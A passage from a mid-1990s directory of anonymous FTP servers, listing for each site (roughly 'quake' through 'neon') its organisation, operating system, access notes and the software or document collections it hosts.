: quake.cs.unr.edu +Admin : +Organ : University of Nevada - Reno, Reno, Nevada +Server : +System : Unix (SunOS 4.1) +URL : ftp://mammoth.cs.unr.edu/ +Comment: +Files : STTNG program guide + +Site : mango.rsmas.miami.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : VAX Software List; old ftp-list +Alias : +Admin : +Organ : University of Miami, Miami, Florida, CS dept. +Server : +System : Unix (Ultrix 4.1) +URL : ftp://mango.rsmas.miami.edu/ +Comment: +Files : dsp; ghost; palm; quorum; seawifs; VMS software: gcc, Tcl + +Site : marduk.iib.uam.es +Country: Spain +GMT : +1 +Date : 14-Dec-94 +Source : JRValverde@enlil.iib.uam.es (J. R. Valverde) +Alias : +Admin : +Organ : University of AM, Madrid, IIB/CSIC Biomedial Research Insitute +Server : +System : Macintosh +URL : ftp://marduk.iib.uam.es/ +Comment: max. 10 users +Files : docs; MolBio; VMS (VMS NEWS) + +Site : marketplace.com +Country: USA +GMT : +Date : 29-Oct-94 +Source : wy1z@splinter.coe.neu.edu (Scott Ehrlich) {posting} +Alias : +Admin : +Organ : +Server : www, gopher, telnet +System : Unix +URL : ftp://marketplace.com/ +Comment: +Files : krad; obs; The Internet Adapter (TIA); unirom + +Site : marlin.jcu.edu.au +Country: Australia +GMT : +10 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : James Cook University +Server : +System : Unix +URL : ftp://marlin.jcu.edu.au/ +Comment: +Files : + +Site : mars.ee.msstate.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : tates@access3.digex.net (Scott Tate) {posting} +Alias : +Admin : +Organ : Mississippi State University, , Mississippi, EE dept. +Server : +System : +URL : ftp://mars.ee.msstate.edu/ +Comment: Problem: I/O error on network device +Files : + +Site : mars.lib.iup.edu +Country: USA +GMT : +Date : 02-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : IUP +Server : +System : Unix (Linux) +URL : ftp://mars.lib.iup.edu/ +Comment: +Files : dos (Telemate 4.12); futurec; Linux (Ati, patches) + +Site : marsh.cs.curtin.edu.au +Country: Australia +GMT : +8 +Date : 17-Apr-94 +Source : +Alias : +Admin : +Organ : Curtin University +Server : +System : Unix +URL : ftp://marsh.cs.curtin.edu.au/ +Comment: Connection timed out +Files : + +Site : mary.iia.org +Country: USA +GMT : +Date : 18-Aug-94 +Source : starrd@mary.iia.org +Alias : +Admin : +Organ : IIA +Server : +System : Unix +URL : ftp://mary.iia.org/ +Comment: The Patriot's archive (/pub/users/patriot), see descript.ion + for file info; some other users public directories +Files : Mush (elenium, help, tools); RSHL (sports archive); The Patriot's Archive: lots of documents on various subjects: case cites, world history, + freedom of information act, RKBA, New World order, law, Clinton, + FEMA, 1984 or lack of privacy disk, HCI Nazis, Bill of Rights, + list of Patriot/Freedom oriented BBS systems, FBI surveillance, + Nazi propaganda techniques, how to run a secure computer, world + largest permanent downline, FAXified database; uninet + +Site : math.berkeley.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Berkeley, Berkeley, California +Server : +System : Unix +URL : ftp://math.berkeley.edu/ +Comment: +Files : + +Site : math.princeton.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Princeton University +Server : +System : Unix +URL : ftp://math.princeton.edu/ +Comment: +Files : + +Site : math.ucla.edu +Country: USA +GMT : -8 +Date : 11-Feb-94 +Source : old ftp-list +Alias : julia.math.ucla.edu +Admin : +Organ : University of California - Los Angeles, Los Angeles, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://math.ucla.edu/ +Comment: +Files : cantor; gap; hhftp; hhlist; kermit; named; nettools; pari; Sendmail; + xterm + +Site : math.uh.edu +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : old ftp-list +Alias : karazm.math.uh.edu +Admin : ftp@math.uh.edu +Organ : University of Houston, Houston, Texas +Server : +System : Unix (SunOS 4.1) +URL : ftp://math.uh.edu/ +Comment: +Files : AIX; Amiga; graphics; Hugs; iPSC archives; KSR; LPF; math; papers; + parallel; reports; text; toaster + +Site : math.utexas.edu +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : +Alias : fireant.ma.utexas.edu +Admin : +Organ : University of Texas - Austin, Austin, Texas, Math dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://math.utexas.edu/ +Comment: +Files : AKCL; Atari; GNU; jspell; Linux; mp_arc; MS-DOS; papers; + tesselations + +Site : maths.su.oz.au +Country: Australia +GMT : +10 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Sydney University, Sydney +Server : +System : Unix +URL : ftp://maths.su.oz.au/ +Comment: +Files : + +Site : max.physics.sunysb.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : root@max.physics.sunysb.edu +Organ : State University of New York - Stoney Brook, Stoney Brook, New York, + Physics dept. +Server : +System : Unix +URL : ftp://max.physics.sunysb.edu/ +Comment: +Files : MGR for Unix-PC + +Site : mbcrr.harvard.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Harvard University, Cambridge, Massachusetts +Server : +System : Unix (Ultrix 4.1) +URL : ftp://mbcrr.harvard.edu/ +Comment: +Files : protein library + +Site : mc.lcs.mit.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : +Alias : +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts, + Laboratory of Computer Sciences +Server : +System : Unix +URL : ftp://mc.lcs.mit.edu/ +Comment: +Files : cstacy; jargon; Unix-haters + +Site : mcafee.com +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : support@mcafee.com, aryeh@mcafee.com (Aryeh Goretsky), + mrs@mcafee.com (Morgan Schweers) +Organ : McAfee Associates, Santa Clara, California +Server : +System : Unix +URL : ftp://mcafee.com/ +Comment: directories: pub/antivirus, pub/utility, pub/vsum; this site + is mirrored around the world +Files : McAfee antivirus utilities; Patricia Hoffmann's VSUM + +Site : mcclb0.med.nyu.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Ney York University, New York, New York +Server : +System : +URL : ftp://mcclb0.med.nyu.edu/ +Comment: Problem: Service not available. Remote server has closed the + connection +Files : + +Site : mcmurdo.gov +Country: Antarctica +GMT : 0 +Date : 10-Sep-94 +Source : +Alias : mcmvax.mcmurdo.gov +Admin : +Organ : McMurdo Station +Server : +System : VAX/VMS running MultiNet +URL : ftp://mcmurdo.gov/ +Comment: default directory: $DISK1:[ANONYMOUS] +Files : 3rdComet FAQ; calclock; palmer; vbrun300 + +Site : mcnc.mcnc.org +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix +URL : ftp://mcnc.mcnc.org/ +Comment: +Files : FTPd bugfix; intro NIC docs; VLSI CAD tool benchmarks; + some RFCs; triangle.jobs archive + +Site : me10.lbl.gov +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Lawrence Berkeley Labs, Berkeley, California +Server : +System : Unix +URL : ftp://me10.lbl.gov/ +Comment: +Files : HP-UX: binaries, bind, tex, misc utilities + +Site : meadow.stanford.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : Unix (Ultrix 4.1) +URL : ftp://meadow.stanford.edu/ +Comment: +Files : + +Site : meap.uta.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : me.uta.edu +Admin : +Organ : University of Texas - Arlington, Arlington, Texas, Mechanical + Engineering dept. +Server : +System : Unix (Apollo DN5500) +URL : ftp://meap.uta.edu/ +Comment: +Files : MSDOS engineering/science apps + +Site : media-lab.media.mit.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : media.mit.edu +Admin : ftp@media.mit.edu +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts. + Media Lab. +Server : +System : Unix +URL : ftp://media-lab.media.mit.edu/ +Comment: transactions are logged +Files : access; audio; books; DEC; EDS; elwin; Foner; framer; galatea; + holography; interface-agents; jill; k-arith-code; mc; MediaMOO; + medimage; monkeyBrains; mrconsole; music; ne-raves; NeXT; noname; + nuno; physics; point_icon; Pro Audio Spectrum (PAS); saus; sci.vw.a; + SGI; sparce-dyn; stoneRave; sysadmin; thinking-about-thinking; + VietNet; WavesWorld + +Site : megasun.bch.umontreal.ca +Country: Canada +GMT : -5 +Date : 10-Sep-94 +Source : +Alias : +Admin : +Organ : University of Montreal, Montreal +Server : +System : Unix +URL : ftp://megasun.bch.umontreal.ca/ +Comment: +Files : clever; gde; phylogenetics; tbob + +Site : menaik.cs.ualberta.ca +Country: Canada +GMT : -7 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Alberta, Edmonton, Alberta, CS dept. +Server : +System : Unix +URL : ftp://menaik.cs.ualberta.ca/ +Comment: +Files : AI; AI-GI-V94; atree; BSD4.3; CChess; coredyna; cssa; dbms; ehab; + Enterprise; exodus; geompack; gno; gradinfo; graphics; hoover; joe; + MetaView; Mizar, Mizar-MSE; MS-DOS; oolog; robotics; smillie; + SMURPH; spreadsheet; srini; tartar; TeX macros; tech-reports; + theorist + +Site : merit.edu +Country: USA +GMT : -5 +Date : 16-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Michigan Education & Research Infrastructure Triad, , Michigan +Server : +System : Unix (SunOS 4.1) +URL : ftp://merit.edu/ +Comment: +Files : as-as; as-gate; archives: auth-acct, bgpd, disi, fddi, fddi-sync, + gnrs, idrp-for-ip, ietf-ids, ietf-ppp, iiir, isis, nas-req + (auth-acct), noc-tt-req, noop, nwg, tuba, udi, x3s33; db-dis; doc; + gosip; IETF; inet-rover; ISO; maps; Michnet info; NFSNET Link + Letter, statistics, maps; nisi; NREN info; PPP; routing; smic; + sniffer; src; stats; tt; umnet; X500 + +Site : merlin.cs.purdue.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Purdue University, West-Lafayette, Indiana, CS dept. +Server : +System : Unix +URL : ftp://merlin.cs.purdue.edu/ +Comment: +Files : Concurrent C; Xinu; Mac + +Site : merlot.gdb.org +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : +Alias : +Admin : help@gdb.org +Organ : Johns Hopkins University, Baltimore, Maryland, Genome Data Base +Server : +System : Unix (Ultrix 4.1) +URL : ftp://merlot.gdb.org/ +Comment: +Files : JMI; Mosaic-DEC-Alpha + +Site : meta.stanford.edu +Country: USA +GMT : -8 +Date : 19-Apr-94 +Source : +Alias : t.stanford.edu +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://meta.stanford.edu/ +Comment: +Files : dtp; funny; ginsberg; hypertext; jujitsu; papers; quotes + +Site : metallica.prakinf.tu-ilmenau.de +Country: Germany +GMT : +1 +Date : 10-Sep-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : +Organ : Technische Universitaet Ilmenau (Ilmenau Institute of Technology), + Ilmenau +Server : +System : Unix +URL : ftp://metallica.prakinf.tu-ilmenau.de/ +Comment: +Files : DEMOS; GLIP; graphics; guitar; models; papers; projects; stone; TCL + +Site : mgt.ncu.edu.tw +Country: Taiwan +GMT : +8 +Date : 15-Dec-94 +Source : hch@nctuccca.edu.tw (Chih-Hsien Huang) +Alias : imftp.mgt.ncu.edu.tw, imaux.mgt.ncu.edu.tw +Admin : managers@mgt.ncu.edu.tw +Organ : National Central University, Chungli, Taiwan, Information Management + dept. +Server : +System : Apple Computer (A/UX) +URL : ftp://mgt.ncu.edu.tw/ +Comment: mailing list for archive users: send mail to listserv@mgt.ncu.edu.tw + with content: subscribe mac-l +Files : contrib; cwais; doc; Mac; pds; Unix + +Site : mickey.sedal.su.oz.au +Country: Australia +GMT : +10 +Date : 17-Apr-94 +Source : +Alias : +Admin : +Organ : Sydney University, Sydney, Systems Engineering and Design Automation + Laboratory (SEDAL) +Server : +System : Unix +URL : ftp://mickey.sedal.su.oz.au/ +Comment: this is a heavily loaded machine, please be patient +Files : djgcc; esa_ph; MUME; ndmake + +Site : microdyne.com +Country: USA +GMT : +Date : 14-Dec-94 +Source : PC NFS FAQ +Alias : +Admin : +Organ : MicroDyne +Server : +System : Problem: I/O error on network device +URL : ftp://microdyne.com/ +Comment: directory: /pub/incoming [does this still exist?] +Files : winsock; WS_FTP + +Site : microlib.cc.utexas.edu +Country: USA +GMT : -6 +Date : 22-May-94 +Source : Viru-L/comp.virus +Alias : sheba.cc.utexas.edu +Admin : +Organ : University of Texas - Austin, Austin, Texas, CC +Server : +System : Unix +URL : ftp://microlib.cc.utexas.edu/ +Comment: Access allowed all day, but preferably outside the hours of 06:00 + 'til 18:00 Central time; transfers are logged +Files : abroad; AI attic; alec; amadeus; anime; ansa; arch; bsa; CC; cmes; + coop; cyperpunks; databaselib; delta-clipper; doc; english; + genetic-programming; german; GIF; graphxfer; hba; lbj; lips; map; + mathlib; microlib; natsci; npasswd; nursing; plant-resources-center; + realtime; ref-services; registrar; review; skywatch; snakes; + sourdough; statgopher; statlib; tatp; tcc; TeXsis; TXunion; UT; + vplab; ytalk; zippy + +Site : micros.hensa.ac.uk +Country: UK +GMT : 0 +Date : 17-Feb-94 +Source : MODERxx.ZIP; Acorn FTP posting in news.answers +Alias : +Admin : pdsoft@pdsoft.lancs.ac.uk, pdarch@micros.hensa.ac.uk + (Alan Phillips, Dave Ingles) +Organ : Lancaster University, Lancaster +Server : archive-server@micros.hensa.ac.uk, use 'help' in the body + to get help +System : Unix +URL : ftp://micros.hensa.ac.uk/ +Comment: formerly known as pdsoft.lancs.ac.uk; also available + through gopher; uploads go through username 'uploads', password + 'uploads' directory: arch-riscos +Files : comug; MS-DOS; DV (DesqView); news; OS/2; pc-blue; sig; windows; + Archimedes; kermit; bbc computer + +Site : microsrv2.rz.uni-karlsruhe.de +Country: Germany +GMT : +1 +Date : 09-Feb-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : +Organ : Universitaet Karlsruhe (University of Karlsruhe), Karlsruhe, CC +Server : +System : +URL : ftp://microsrv2.rz.uni-karlsruhe.de/ +Comment: +Files : + +Site : midir.ucd.ie +Country: Ireland +GMT : 0 +Date : 10-Sep-94 +Source : arthur@midir.ucd.ie (Arthur Green) +Alias : +Admin : +Organ : University College Dublin, Dublin, Computing Services +Server : +System : Unix (Ultrix 4.1) +URL : ftp://midir.ucd.ie/ +Comment: +Files : author; classics; everson; gaelic-l; network; Novell (FAQ); PC + +Site : midway.uchicago.edu +Country: USA +GMT : -6 +Date : 24-Jan-95 +Source : old ftp-list +Alias : +Admin : +Organ : University of Chicago, Chicago, Illinois +Server : +System : Unix +URL : ftp://midway.uchicago.edu/ +Comment: +Files : giics; GNU; jobs; Kermit; netinfo; network-clients; news; NeXT; oed; + OzTeX (mirrored on ftp.switch.ch); Perl; ph; sendmail; Sun-patches; + sysadmin; TeX; Unix + +Site : miepmiep.zeeland.nl +Country: Netherlands +GMT : +1 +Date : 24-May-94 +Source : ftp.hzeeland.nl +Alias : +Admin : eddy@miepmiep.hzeeland.nl (Eddy van Loo) +Organ : Hogeschool Zeeland (Zeeland College), Vlissingen) +Server : +System : Unix (HP-UX, HP9000/735) +URL : ftp://miepmiep.zeeland.nl/ +Comment: do not use outside of hzeeland.nl until they've upgraded their + link (currently 9K6); all actions are logged; max. 1 outside user +Files : docs; GNU; gopher; hamradio; HP-UX; Linux; mirrors: Cica, SimTel, + Surfnet info-archive; MS-DOS; MS-Windows3; NetBSD; Novell; RFCs; + SCO-archive; Space + +Site : mindseye.berkeley.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Berkeley, Berkeley, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://mindseye.berkeley.edu/ +Comment: +Files : Kanji + +Site : mines.colorado.edu +Country: USA +GMT : -7 +Date : 17-Apr-94 +Source : +Alias : slate.colorado.edu +Admin : +Organ : University of Colorado - Boulder, Boulder, Colorado +Server : +System : Unix +URL : ftp://mines.colorado.edu/ +Comment: +Files : papers; software; tutorials + +Site : minnie.cs.adfa.oz.au +Country: Australia +GMT : +10 +Date : 06-Jan-94 +Source : old ftp-list; andrew@bing.apana.org.au (Andrew Cosgriff) {posting} +Alias : +Admin : wkt@csadfa.ca.adfa.oz.au (Warren Toomey) +Organ : Australian Defence Force Academy, Canberra, CS dept. +Server : WWW, mail: bsdnews@minnie.cs.adfa.oz.au (help in the body), + telnet: login as bsdnews +System : Unix (386BSD on a 386SX33 with 4Mb of memory) +URL : ftp://minnie.cs.adfa.oz.au/ +Comment: +Files : 4.4BSD-Lite; BSD (386BSD 0.1, BSDisc, bsdnews (usenet archive of + comp.os.386bsd.*, comp.unix.bsd), daemons, phillip (NFS mount of + other BSD stuff); FreeBSD; Minix; Net2; XFree86 + +Site : miro.berkeley.edu +Country: USA +GMT : -8 +Date : 17-Apr-94 +Source : sgi/anonftp/list +Alias : +Admin : +Organ : University of California - Berkeley, Berkeley, California +Server : +System : Unix +URL : ftp://miro.berkeley.edu/ +Comment: +Files : foo; gimme; halstead; SGI + +Site : mirrors.aol.com +Country: USA +GMT : -5 +Date : 20-Jan-95 +Source : rbh@aol.net (Robert Hirsh) +Alias : mirror.aol.com +Admin : ftpadmin@aol.com (Robert Hirsh) +Organ : America Online, Vienna, Virginia +Server : +System : Unix (HP/UX) +URL : ftp://mirrors.aol.com/ +Comment: Open 24 hours; Limit of 50 users; transfers are logged. Mostly + (read-only) FTP site mirrors of the America Online service; no + uploading is currently accepted; if the address fails, try + 191.81.1.25 until the entry is propagated well enough [delete when + propagated enough] +Files : AOL Mac and Windows client software (from ftp.aol.com as + /aol_mac and /aol-win); FAQs and other info (from rtfm.mit.edu:/pub + as /pub/rtfm); guitar (from ftp.nevada.edu:/pub/guitar as + pub/guitar); Mac (sumex-aim.stanford.edu:/info-mac as /pub/info-mac + and mac.archive.umich.edu:/ as /pub/mac); MS-Windows (from + ftp.cica.indiana.edu); SimTel mirror planned or already available + +Site : mizar.docs.uu.se +Country: Sweden +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://mizar.docs.uu.se/ +Comment: +Files : GNU + +Site : moers2.edu.tw +Country: Taiwan +GMT : +8 +Date : 15-Dec-94 +Source : hch@nctuccca.edu.tw (Chih-Hsien Huang) +Alias : +Admin : yimin@moers2.edu.tw (Yi-Min Hu) +Organ : Ministry of Education Computer Center, Taiwan +Server : +System : Unix (AIX 3.2, IBM RS6000) +URL : ftp://moers2.edu.tw/ +Comment: +Files : cai; /chinese-pub: chinese applications; docs; mbcrr; news; PC; + TANet info; telnet; tools; vxworks + +Site : mojo.eng.umd.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Maryland, , Maryland, Engineering dept. Project GLUE +Server : +System : Unix +URL : ftp://mojo.eng.umd.edu/ +Comment: max. 20 users +Files : + +Site : mondrian.princeton.edu +Country: USA +GMT : -5 +Date : 17-Apr-94 +Source : sgi/anonftp/list +Alias : +Admin : +Organ : Princeton University, +Server : +System : Unix (SunOS 4.1) +URL : ftp://mondrian.princeton.edu/ +Comment: +Files : colorimages; coursetest; gstring; icgltools; images; invmentor; + Piero; toben; traj; widgets + +Site : monk.proteon.com +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : root@proteon.com +Organ : Proteon Inc. +Server : +System : Unix +URL : ftp://monk.proteon.com/ +Comment: Open 24 hours; all actions are logged +Files : cc:Mail - smtp gateway + +Site : monte.svec.uh.edu +Country: USA +GMT : +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : +Admin : +Organ : +Server : +System : Unix (Irix) +URL : ftp://monte.svec.uh.edu/ +Comment: +Files : art; bit; commhex; laz; xj7 + +Site : monu1.cc.monash.edu.au +Country: Australia +GMT : +10 +Date : 10-Sep-94 +Source : games/roguelike; andrew@bing.apana.org.au (Andrew Cosgriff) {posting} +Alias : +Admin : tym@monu1.cc.monash.edu.au (Tim MacKenzie) +Organ : Monash University - Clayton Campus, Melbourne, CC +Server : +System : Unix +URL : ftp://monu1.cc.monash.edu.au/ +Comment: several PostScript related files in /pub +Files : accents; bane_lao; chem; dvips; EmTeX; ghost; GNUplot; Linux + (partial mirror of sunsite.unc.edu, kernel from ftp.funet.fi, + Slackware from ftp.cdrom.com); Mach; NetBSD 0.9; nomic; Omega + (Roguelike game); SciAn; SCSI; TeX; Unix + +Site : moose.cccs.umn.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Minnesota, , Minnesota +Server : +System : VAX/VMS running Multinet +URL : ftp://moose.cccs.umn.edu/ +Comment: default directory: FOUND3:[ANONYMOUS] +Files : icalc + +Site : mpi-sb.mpg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : +Organ : Max Planck Institute - Saarbruecken, Saarbruecken +Server : +System : Unix +URL : ftp://mpi-sb.mpg.de/ +Comment: this server understands the reget command; username 'ftp' possible +Files : ALCOM; benchmarks; GNU; LEDA; Linux; misc; MS-DOS; Novell; OS/2; + papers; SATURATE; SPECTRAL; TCL; tools + +Site : mrcnext.cso.uiuc.edu +Country: USA +GMT : -6 +Date : 17-Apr-94 +Source : old ftp-list +Alias : +Admin : postmaster@mrcnext.cso.uiuc.edu +Organ : University of Illinois - Urbana/Champaign, Urbana, Illinois +Server : +System : Unix +URL : ftp://mrcnext.cso.uiuc.edu/ +Comment: transfers are logged +Files : Amiga; compucom; E-Text archives (Project Gutenberg); hart; + kites; Linux (sunsite.unc.edu); lists; Mac; Nethack; PC; PC Sig2; + Simtel-20; Unix; usage stats; video; WP; zip93 + +Site : mscmga.ms.ic.ac.uk +Country: UK +GMT : 0 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : Imperial College of Science, Technology and Medicine, London, + Management School +Server : +System : Unix +URL : ftp://mscmga.ms.ic.ac.uk/ +Comment: opening screen is supposed to scare people away; all files are + in the pub directory and have a .txt extension [he's right! ;-)] +Files : OR library, you have to know what you're looking for here or read + the info.txt file + +Site : mthvax.cs.miami.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : sysman@mthvax.cs.miami.edu +Organ : University of Miami, Miami, Florida, CS dept. +Server : +System : VAX/VMS +URL : ftp://mthvax.cs.miami.edu/ +Comment: accepts only FTP connections from IP numbers that it can map + into a valid hostname; access from 18:00-10:00 for legal + transactions only +Files : homebrew; US Constitution; worm papers; Elm; nn + +Site : mtsg.ubc.ca +Country: Canada +GMT : -8 +Date : 15-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of British Columbia, , British Columbia +Server : +System : +URL : ftp://mtsg.ubc.ca/ +Comment: you definitely need to read the README for this one! use 'cd name:' + (no quotes), where name is USFT (Unix, see USFT:README), OS2 (see + OS2:AAAINDEX), PC1 (IBM PC, see PC1:README and PC1:INDEX), PC6 + (Amiga, see PC6:!INDEX); use e.g. get USFT:X11.README to get files; + ? is the wildcard character on this system, e.g. LS USFT:? +Files : Amiga; MS-DOS; OS/2; Unix + +Site : munnari.oz.au +Country: Australia +GMT : +10 +Date : 18-Apr-94 +Source : old ftp-list +Alias : +Admin : +Organ : The Australian Gateway +Server : +System : Unix +URL : ftp://munnari.oz.au/ +Comment: +Files : AARnet; av; big-internet; BSD: fixes, net, sources; + comp.sources.unix; FYI; GNU; graphics; idea; ien; iesg; ietf; + internet-drafts; Mac; mailers; mg; mh; mtools; MU-CompSci; + Multigate; net; netinfo; news; PC; RFCs; SGI; Shake; SNMP; Sun; + Sun-fixes; Sun III; tz; UUCP maps + +Site : mvb.saic.com +Country: USA +GMT : -8 +Date : 15-Dec-94 +Source : VAX Software List +Alias : +Admin : +Organ : SAIC +Server : +System : Unix +URL : ftp://mvb.saic.com/ +Comment: no access restrictions; default directory: DISK$DECUS:[DECUS] +Files : VMS software: DECUS tape archives: VMS & L&T SIGS of the US DECUS + chapter + +Site : mx.msu.su +Country: Russia +GMT : +2 +Date : 11-Mar-94 +Source : +Alias : npimsu.msu.su +Admin : +Organ : Moscow State University, Moscow +Server : +System : +URL : ftp://mx.msu.su/ +Comment: small non-Unix site +Files : maps; MS-DOS; Unix + +Site : nada.kth.se +Country: Sweden +GMT : +1 +Date : 06-Jan-94 +Source : old ftp-list +Alias : cyklop.nada.kth.se +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://nada.kth.se/ +Comment: +Files : + +Site : naic.nasa.gov +Country: USA +GMT : -8 +Date : 17-Jul-94 +Source : btafoya@orion.arc.nasa.gov (William L. Tafoya) {posting} +Alias : +Admin : naic@nasa.gov +Organ : NASA- Network Applications and Information Center (NAIC) +Server : gopher: naic.nasa.gov, port 70; + WWW: http://naic.nasa.gov/naic/naic-home.html +System : Unix +URL : ftp://naic.nasa.gov/ +Comment: +Files : april drafts; DECnet; DMS; FBI; images; Internet Resource Guide; + maps; NASA Resource Guide; NSI Russia Mgt Plan; OSS tables; + packet video; RFCs; UNABOM info (/files/fbi); WWW framework + +Site : nathan.inflab.tuwien.ac.at +Country: Austria +GMT : +1 +Date : 10-Sep-94 +Source : hd@gunther.smc.univie.ac.at (Helmut Dier) +Alias : +Admin : hel@carmen.inflab.tuwien.ac.at (Helmut Dier); + str@carmen.inflab.tuwien.ac.at (Hubert Strauss) +Organ : Technische Universiteit Wien (Vienna University of Technology), + Vienna, Institute for Statistics, Operations Research and Computer + Methods +Server : +System : Netware (PC Fileserver) +URL : ftp://nathan.inflab.tuwien.ac.at/ +Comment: default directory: /SYS/LOGIN/MIRROR; Read Only access; max. 10 + users +Files : antivirus software (from mcafee.com); Simtel Software Repository + mirror; sjf-lwp.novell.com mirror (partly) + +Site : natsem.canberra.edu.au +Country: Australia +GMT : +10 +Date : 19-Apr-94 +Source : G.J.M.Dekkers@kub.nl (Gijs Dekkers) +Alias : +Admin : andrewg@natsem.canberra.edu.au (Andrew Gruskin), + G.J.M.Dekkers@kub.nl (Gijs Dekkers) +Organ : National Centre for Social and Economic Modelling, Canberra +Server : +System : Unix (SunOS 4.1) +URL : ftp://natsem.canberra.edu.au/ +Comment: server is dedicated to articles about micro-simulation +Files : dataval; dynamic; general; static; tools + +Site : ncbi.nlm.nih.gov +Country: USA +GMT : -5 +Date : 23-May-94 +Source : old ftp-list +Alias : +Admin : +Organ : U.S. National Institute of Health, , , National Library of Medicine, + NCBI +Server : +System : Unix +URL : ftp://ncbi.nlm.nih.gov/ +Comment: +Files : aimb-db; apc; authorin; blast; cavanaugh; dab; dfa; feature-table; + flatfile; genbank: NCBI, repository, toolbox; ghosh; gibbs; gish; + jmc; koonin; lisptrans; macaw; MC SYM; mmdb; ncbi; nrdb; nrl3d; + pichler; pkb; regexp; repset; searchfmt; security; seg; seq-ambig + +Site : ncifcrf.gov +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : old ftp-list +Alias : fcs280s.ncifcrf.gov +Admin : +Organ : NCI FCRF +Server : +System : Unix +URL : ftp://ncifcrf.gov/ +Comment: +Files : docs; fant; FAQs; findstat; genpept; IPS-WWW; methods; molecular + biology archive; nonredun; patterngen; sea; tripatterngen + +Site : ncgia.ucsb.edu +Country: USA +GMT : -8 +Date : 25-Jan-95 +Source : greener@sol.surv.utas.edu.au (Simon Greener) {posting} +Alias : +Admin : +Organ : University of California - Santa Barbara, Santa Barbara, California, + National Center for Geographical Information and Analysis +Server : +System : Unix +URL : ftp://ncgia.ucsb.edu/ +Comment: +Files : biblio (misc.formats, ps, text); california.arcinfo; lists; + tech-reports + +Site : nctamslant.navy.mil +Country: USA +GMT : -5 +Date : 23-May-94 +Source : +Alias : +Admin : +Organ : U.S. Navy, NCTAMSLANT +Server : +System : VAX/VMS +URL : ftp://nctamslant.navy.mil/ +Comment: default directory: USER4:[GUEST] +Files : chips; internet; navy public affairs; navy news; npbinfo; sharing + +Site : ndlc.occ.uky.edu +Country: USA +GMT : -5 +Date : 26-Jan-95 +Source : k-rauch@brbbs.com (Keith Rauch) {posting} +Alias : +Admin : +Organ : University of Kentucky, , Kentucky, Owensboro Community College, + National Distance Learning Center +Server : +System : Unix +URL : ftp://ndlc.occ.uky.edu/ +Comment: +Files : gpo.doc; pcusoft (dcat17) + +Site : nebula.cs.yale.edu +Country: USA +GMT : -5 +Date : 18-Apr-94 +Source : old ftp-list +Alias : nebula.systemsz.cs.yale.edu +Admin : +Organ : Yale University, New Haven, Connecticut +Server : +System : Unix (SunOS 4.1) +URL : ftp://nebula.cs.yale.edu/ +Comment: +Files : blenko; comp.lang.functional; cs429; guzmann; haskell; hcompile; + mohr; pj lester book; plisp; proto; roth traupman; x3j13; yale-fp + +Site : ned.ipac.caltech.edu +Country: USA +GMT : -8 +Date : 17-Jul-94 +Source : +Alias : hepburn.ipac.caltech.edu +Admin : +Organ : California Institute of Technology, Pasadena, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://ned.ipac.caltech.edu/ +Comment: +Files : ned (lots of prt and ps files); stuff (empty) + +Site : neon.nlc.state.ne.us +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : mjryan@neon.nlc.state.ne.us (Mary Jo Ryan) +Alias : 